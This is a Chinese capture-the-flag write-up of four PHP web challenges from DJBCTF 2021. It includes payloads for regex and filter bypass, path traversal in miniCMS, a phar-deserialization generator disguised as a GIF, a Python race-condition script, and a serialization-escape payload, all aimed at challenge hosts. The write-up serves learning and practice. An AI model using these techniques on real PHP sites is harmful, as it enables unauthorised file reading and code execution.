DJBCTF 2021 WP

CTF-SHOW的比赛,刚回到家,沉迷摸鱼,比赛打完了复现。

veryphp

缝合怪

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

一堆阴间正则,看着都累。

不过这里师弟跟我说可以不用绕直接POST,我还是跟着预期解弄。

首先过滤了下划线,跟spaceman那道题很像,直接通过空格或者加号绕过过滤。

绕过这个正则之后需要传入第一个变量shaw_root,这个变量需要满足一定的正则匹配,且该变量长度为29。

随便搞个payload

-a9<b>000000000>>>>abcphp@Rs0

给了md5爆破长度,索然无味.jpg。

Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f &&
strlen($SecretNumber)===5
<?php
for ($i1 = 0; $i1 < 10; $i1++) {
    for ($i2 = 0; $i2 < 10; $i2++) {
        for ($i3 = 0; $i3 < 10; $i3++) {
            for ($i4 = 0; $i4 < 10; $i4++) {
                for ($i5 = 0; $i5 < 10; $i5++) {
                    $exp = "shaw" . $i1 . $i2 . $i3 . $i4 . $i5 . "root";
                    if (md5($exp) == "166b47a5cb1ca2431a0edfcef200684f") {
                        die($exp);
                    }
                }
            }
        }
    }
}

拿到$SecretNumber

shaw21475root

最后进入call_user_func,比较简单,直接调用类的方法。

虎山行

给了源码www.rar,是miniCMS,首先有个install.php安装一下,试了一下在标题插入phpinfo,不行,看了一下框架以前的CVE,只会影响到install.php,然鹅这个文件在安装后就自动删除了,既然这样,那就正常点安装吧。

对比源码,找到漏洞点,相当明显

直接请求flag,发现根目录下没有flag,但是给了提示。

/mc-admin/page-edit.php?file=../../../../../../flag

这个是网站目录,去了看见php

<?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
    public $ctfer = 'shower';
    public function __destruct(){
        system('cp /hint* /var/www/html/hint.txt');
    }
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>

很明显是要出发__destruct()魔术方法,先尝试一下读取waf.php,发现被WAF了。

/ctfshowsecretfilehh/?file=waf.php

那咋办呢,想想上一步也可以读取文件,那就试试吧。

/mc-admin/page-edit.php?file=../../../ctfshowsecretfilehh/waf.php

源码

<?php
function waf($file){
    if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return $file;
    }
}

过滤太恶心了,后来就做不动了。

看wp之后知道是phar反序列化,确实是我不太会的知识点。

利用 phar 拓展 php 反序列化漏洞攻击面

这里的上传点在后台,上传之后再upload目录下。

大概学了一下,phar_gen.php:

<?php
class Ctfshow{
    public $ctfer = 'shower';
}
@unlink("exp.char");
$phar = new Phar('exp.phar'); //后缀名必须为phar
$phar->startBuffering(); //开始写入
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$object = new Ctfshow();
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString('test.txt', 'text'); //添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>

生成exp.phar文件。打开长这个样子的:

到post.php,页面上很明显的写了一个上传点,一看就是后期加上去的。

把文件后缀改为.gif上传。

进了upload目录,发现不给文件名,于是去看一下upload.php

<?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000)   // 小于 2000kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			$md5_unix_random =substr(md5(time()),0,8);
			$filename = $md5_unix_random.'.'.$extension;
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
            echo "上传成功,文件存在upload/";
		}
	}
}
else
{
	echo "文件类型仅支持jpg、png、gif等图片格式";
}
?>

给了文件名具体的生成方式,这就很蛋疼,用burp重新发了一次。

注意到注释其实有给提示?whatever,拿到时间。

<?php
$filename=substr(md5(strtotime('Wed, 27 Jan 2021 03:56:43 GMT')),0,8);
echo $filename;

传入参数

/ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/d1a86748.gif

除了zlib,bzip等等应该也可以。

又是套娃

<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
    public $username='Firebasky';
    public $password;
    function __destruct() {
        if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
            system('cp /ctfshow* /var/www/html/flag.txt');
        }
    }
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');

看着像条件竞争,写个脚本

import hashlib
import requests
import time


def md5(t):
    string = str(t)
    h = hashlib.md5()
    h.update(string.encode())
    return h.hexdigest()


url = "http://722cd3fb-690b-47c8-93f6-bc36429d2d7c.chall.ctf.show/"

while True:
    pwd = md5(int(time.time()))
    unser = 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"' + pwd + '";}'
    params = {'unser': unser}
    print(params)
    res1 = requests.get(url=url + "ctfshowgetflaghhhh/", params=params)
    res2 = requests.get(url=url + "flag.txt")
    if res2.text.find("ctfshow") != -1:
        print(res2.text)
        break

完事

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

这题是在POST中过滤了下划线,导致传参无法传入下划线。

但实际上只要用其他字符例如空格或者+替代下划线就可以了,比如这样(非预期):

然后比赛的时候@kite 发了个原题给我(好家伙)

web-反序列化+php://input与post

简单的反序列化逃逸,只不过以前是传入对象正向逃逸,这个是传入变量反向逃逸。

user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip

这里涉及到了一个有关extract($_POST)php://input的区别。php://input无法读取Content-Typemultipart/form-data的POST数据 ,当遇到Content-Typemultipart/form-data的POST数据就默认为空值。从而绕过正则。

但其实就很简单,不需要反序列化,直接POST传参就可以了。

参考

https://blog.csdn.net/solitudi/article/details/113097738

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇